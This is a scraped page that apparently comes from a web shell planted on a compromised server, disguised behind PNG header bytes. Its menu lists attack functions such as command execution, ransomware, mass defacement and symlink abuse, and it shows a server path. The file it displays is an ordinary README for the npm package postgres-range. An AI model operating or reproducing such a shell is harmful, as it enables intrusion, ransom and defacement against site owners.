\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/biogreenas/BiogreenMangal/node_modules/postgres-range/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/biogreenas/BiogreenMangal/node_modules/postgres-range/README.md |
# postgres-range [](https://github.com/martianboy/postgres-range/actions?query=workflow%3Atests)
> Parse postgres range columns
## Install
```
npm install --save postgres-range
```
## Usage
```js
const range = require('postgres-range')
const rng = range.parse('[0,5)', (value) => parseInt(value, 10))
rng.isBounded()
// => true
rng.isLowerBoundClosed()
// => true
rng.isUpperBoundClosed()
// => false
rng.hasLowerBound()
// => true
rng.hasUpperBound()
// => true
rng.containsPoint(4)
// => true
rng.containsRange(range.parse('[1,2]', x => parseInt(x)))
// => true
range.parse('empty').isEmpty()
// => true
range.serialize(new range.Range(0, 5))
// => '(0,5)'
range.serialize(new range.Range(0, 5, range.RANGE_LB_INC | RANGE_UB_INC))
// => '[0,5]'
```
## API
#### `parse(input, [transform])` -> `Range`
##### input
*Required*
Type: `string`
A Postgres range string.
##### transform
Type: `function`
Default: `identity`
A function that transforms non-null bounds of the range.
#### `serialize(range, [format])` -> `string`
##### range
*Required*
Type: `Range`
A `Range` object.
##### format
Type: `function`
Default: `identity`
A function that formats non-null bounds of the range.
## License
MIT © [Abbas Mashayekh](http://github.com/martianboy)